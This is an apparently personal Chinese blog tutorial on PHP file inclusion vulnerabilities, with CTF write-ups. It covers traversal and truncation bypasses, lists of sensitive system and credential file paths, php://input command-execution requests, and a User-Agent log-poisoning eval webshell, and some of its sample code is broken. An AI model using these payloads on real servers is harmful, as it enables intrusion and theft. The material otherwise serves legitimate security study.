文件包含

文件包含

引入

在编写含有大量交互功能的站点时,为了实现单一文件在不同页面的重复使用,通常利用文件包含的方式,将本地可被复用的文件利用包含函数在当前页面中执行。

如果某个页面具有这种功能,并且在这个包含的过程中,被包含的文件名可通过参数的方式被用户端控制,那么就可能存在文件包含漏洞。

定义

文件包含漏洞是指当PHP函数引入文件时,没有合理校验传入的文件名,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。PHP文件包含漏洞根据包含的内容来源分为本地文件包含漏洞(LFI)和远程文件包含漏洞(RFI)。文件包含漏洞在利用时能够打开并包含本地文件并可利用此类漏洞查看系统任意文件内容,如果具备一些条件,也可以执行命令。

在PHP环境下,可利用include、require、include_once、require_once函数调用文件,实现文件包含的效果。一般情况下,均会利用include实现对配置、通用函数的加载,实现代码的复用,并且可使站点的结构非常清晰。但在部分情况下会利用包含函数实现对特定文件的包含,如用户上传的文件需展示等。在这种情况下,包含函数所引用的文件地点及类型可被用户控制,从而产生了文件包含攻击的可能性。

原理

严格来说,文件包含漏洞是代码注入的一种,其原理就是注入一段用户能控制的脚本或代码,并让服务器端以某种方式执行用户传入参数。这就导致文件包含漏洞可被利用的一种方式为Web木马利用各种方式部署在服务器上,并且木马文件或源码可被攻击者利用包含函数打开,导致Web木马被执行,从而使攻击成功。

条件利用

攻击者要想成功利用文件包含漏洞进行攻击,必须要满足以下两个条件,才称得上存在文件包含漏洞:

1)Web应用采用include()等文件包含函数,并且需要包含的文件路径是通过用户传输参数的方式引入。

2)用户能够控制包含文件的参数,且被包含的文件路径可被当前页面访问。

利用方式

文件包含特点就是将服务器上的文件包含到当前的页面中。

因此,在利用方式上,重点需对可包含的文件进行分析,同时漏洞的危害由被包含文件的作用而决定。

上传文件包含

如果用户上传的文件内容中包含PHP代码,但无法直接执行,如果存在文件包含漏洞,就可以将代码由包含函数加载,执行代码。

当然,这取决于文件上传功能的设计:攻击者需知道上传文件存放的物理路径,还需要对上传文件所在的目录有执行权限。以上条件缺一不可,并且还需有文件包含的漏洞存在

日志文件包含

向Web日志中插入PHP代码,通过文件包含漏洞来执行包含在Web日志中的PHP代码。

1.首先通过包含等各种方式获取日志文件位置。需要知道当前中间件存储错误日志的路径。

2.在URL中插入执行代码,将其记录进日志文件。注意,此处代码被转义。假设此处提交include_0.php?<?php phpinfo();?>.php时,在<?php后面紧跟着的空格,如果被转义成%20,就会导致php代码执行失败。有时候,写进access.log文件里的还可能是将两个尖括号<>也转义了的。在实际测试中,用火狐、高版本IE浏览器都会转义,但是使用IE6不会转义。也可以使用Burpsuit抓包做修改,

**嘶,这一块没有代码,不好实现,先放一放。(什么日志文件会自动记录错误的url?**)

3.总之写进去了后,访问这个文件,就会出现phpinfo()的信息

常见敏感信息路径如下。

1.Windows系统


1
2
3
4
5
6
7
8
C:\boot.ini                                  //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
C:\windows\repair\sam //存储Windows系统初次安装的密码
C:\Program Files\mysql\my.ini // MySQL配置
C:\Program Files\mysql\data\mysql\usr.MYD // MySQL root
C:\windows\php.ini // PHP配置信息
C:\windows\my.ini // MySQL配置信息
……

2.UNIX/Linux系统


1
2
3
4
5
6
7
8
/etc/passwd 
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // MySQL配置文件
/proc/self/environ // Linux下环境变量文件
……

临时文件包含

以Session文件包含为例,Session文件保存在服务器端,并且Session中保存着用户的敏感信息。利用的条件为攻击者必须能够控制部分Session文件的内容,Session文件一般存放在/tmp/、/var/lib/php/session/、/var/lib/php/session/等目录下,一般以sess_SESSIONID为名来保存。

首先,查找到Session文件并包含一次。可以通过Firefox的fire cookie插件查看当前Session值来找到文件名。

实际应用过程中,需要注意以下几点:

1)网站可能没有生成临时Session,而是以Cookie方式保存用户信息,或者根本就没有Session,但目前这种情况非常少见。

2)对于Session文件内容的控制,需要先通过包含查看当前Session的内容,看Session值中有没有可控的某个变量,比如URL中的变量值,或者当前用户名username。如果有的话,就可以通过修改可控变量值控制恶意代码写入Session文件。如果没有的话,可以考虑让服务器报错,有时候服务器会把报错信息写入用户的Session文件。这样就可以通过控制服务器使报错的语句将恶意代码写入Session。

PHP封装协议包含

要求allow_url_fopen为设置为ON。在PHP5.2.0之后的版本中支持data:伪协议,可以很方便地执行代码。

利用方式总结

防护手段及对应的绕过方式

文件包含漏洞在攻击方面会有两个关注点:包含目标文件内容合法性以及包含文件的路径

针对文件内容合法性,更多的是要在各类上传及文件接口上做好对应的防护。

在文件包含漏洞的防护方面,更多的是针对包含文件的过程进行防护,防护手段主要分为对包含目标的参数过滤中间件级安全配置两个方面。

php://filter/convert.base64-encode/resource=index

1.文件名验证

包含文件验证是指对可包含文件名设置黑名单或白名单、文件后缀名固定等,效果非常类似于文件上传攻击中针对文件后缀名的防护方式,比如只允许后缀为jpg的文件包含等。针对文件名的防护方式思路非常清晰,即严格限定文件类型。

采取的方法主要为:

1)文件后缀名固定:在包含的文件名后加固定后缀,期望文件按预期目标解析。

1
2
3
4
5
6
7
<?php
$file = $_GET['page'];
if($file)
{
include ("".$_GET['page']."html");
}
?>

2)文件名过滤:这里可以用白名单或黑名单过滤,使用switch或array限制可以包含的文件名。

1
2
3
4
5
6
7
8
9
10
11
12
<?PHP>
$filename = explode ('.'$name)
switch($filename)
{
case 'jpg';
case 'png';
include '$name';
break;
default:
echo "无效文件,请重新选择";
}
?>

类似于上传攻击中的文件白名单防护功能。

绕过方式

针对文件名验证的绕过方式嘞

一种方式是在文件后缀名处下手,根据中间件或操作系统的特性实现对原有防护规则的绕过。

攻击者可以在文件名后放一个空字节的编码,从而绕过这样的文件类型的检查。例如,对于“../../../../boot.ini%00.jpg”,Web应用程序使用的API会允许字符串中包含空字符,当实际获取文件名时,则由系统的API直接截断,而解析为“../../../../boot.ini”,这是利用PHP5.3.4之前的%00截断特定实现的,在上传攻击中也有相关利用措施。

在类UNIX的系统中也可以使用URL编码的换行符,例如,对于“../../../etc/passwd%0a.jpg”,如果文件系统获取含有换行符的文件名,会截断为”../../../etc/passwd”。

另一种方式是通过目录长度限制来截断。

Windows下可利用256位截断,Linux下则需要4096位截断。可能会发生URL过长无法解析的问题,浏览器支持的URL长度一般都在10000以上,但是不同的中间件并不一定支持过长的URL,因此这种方法在Windows服务器环境下更容易成功(要求PHP版本小于5.2.8环境)。

假如后台代码 include($_GET['file'].'.txt');

若参数为?file=phpinfo.php/./././././……

通过/././././././././截断之后的.txt。

要注意的是,采用././././././填充还是/././././.填充与之前目录长度的奇偶性有关。

2.路径限制

针对包含文件的目录进行合法性校验,也就是对包含的文件路径进行严格的限制。

针对包含文件的目录进行合法性校验,也就是对包含的文件路径进行严格的限制。

1)目录限制,在用户提交的变量前增加固定路径,限制用户可调用的目录范围。

1
2
3
4
5
6
7
<?php   //可设定只允许包含的文件目录
$file = $_GET['page'];
if($file)
{
include '/var/www/html'.$file;
}
?>

2)目录回退符过滤,避免回退符生效导致路径变化。

目录回退符常用“/”“.”等符号实现。因此,对用户输入的参数中的特殊字符进行过滤,即可避免出现目录回退的问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
function filter($str)
{
$str=str_replace("..","",$str);
$str=str_replace(".","",$str);
$str=str_replace("/","",$str);
$str=str_replace("\\","",$str);
return $str;
}
$file = $_GET['page'];
$file = filter($file);
if($file)
{
include $file;
}
?>

绕过方式

在某些场景下,可通过某些特殊的符号(如“”)来尝试绕过,如提交“image.php?name=/../phpinfo”这样的代码。其中“~”就是尝试是否可直接跳转到当前硬盘目录。在某些环境下,可达到遍历当前文件目录的效果。

或者

../../将当前目录进行回溯

3.中间件安全配置

主要思路是限制当前中间件所在用户的权限。推荐给Web服务器配置独立用户,只拥有访问本目录及使用中间件的权限,从而有效避免越权访问其他的文件。

以Apache中间件+PHP为例。

以下几点均可影响到文件包含功能的安全性。

·magic_quotes_gpc

post、get、cookie过来的单引号(’)、双引号(”)、反斜线(\)与NULL字符应增加转义字符“\”。利用GPC过滤与SQL注入中的参数内容转义方法非常类似,都是让用户的传递参数意义发生变化。此项目在PHP5.4之后已弃用,也可根据实际业务特点自行编写转义脚本。

·限制访问区域

open_basedir可用来将用户访问文件的活动范围限制在指定的区域,此选项在php.ini中进行设置。同理,在apache配置文件中(httpd.conf),也可利用Directory、VirtualHost等进行类似的目录限制。在利用Apache做相应配置时需要注意,如果Apache开启了虚拟主机(VirtualHost),那么就会影响PHP.ini中的open_basedir的效果,因此需根据实际环境选择合适的范围限制方法。

·设置访问权限

主要思路是限制当前中间件所在用户的权限。推荐给Web服务器配置独立用户,只拥有访问本目录及使用中间件的权限,从而有效避免越权访问其他的文件。

绕过方式

通过软链接指向允许范围外的文件(需服务器已有软连接配置),实现文件包含。

ctfshow

1.web3

页面就给一个代码 <?php include($_GET['url']);?>

抓包+php伪协议

1
2
3
4
5
6
7
8
9
10
11
12
13
GET /?url=php://input HTTP/1.1
Host: 71ebeb35-9940-4deb-bd09-9621a4cca6b6.challenge.ctf.show
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 23

<?php system("pwd")?>

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 26 Jun 2023 05:56:07 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.3.11
Content-Length: 717

/var/www/html
<html…..

如果将请求内容改为ls

<?php system("ls")?>

ctf_go_go_go
index.php
<html lang=”zh-CN”>

<?php system("cat ctf_go_go_go")?>即可

2.web4

同样的代码,但是伪协议失效了

尝试直接日志路径/var/log/nginx/access.log

发现日志会写进UA头,可以尝试一句话木马,蚁剑连接即可

2023:06:04:58 +0000] “GET / HTTP/1.1” 200 715 “-“ “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36”

1
2
3
4
5
6
7
8
9
GET /?url=/var/log/nginx/access.log HTTP/1.1
Host: ed85081d-b185-4ad0-8563-5676806fe548.challenge.ctf.show
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: <?php @eval($_POST['cmd']);?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

总结

针对文件包含攻击,标准的防护手段及可实现的绕过方式有以下几种:

1)尽可能保持中间件及PHP版本最新,从而有效避免低版本中存在大量利用%00、../../、点号截断的情况。

2)利用配置文件中的目录限制功能对用户可访问的目录进行限制。

3)利用黑白名单进行过滤。

文件包含攻击主要在低版本的PHP中可有效进行。

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信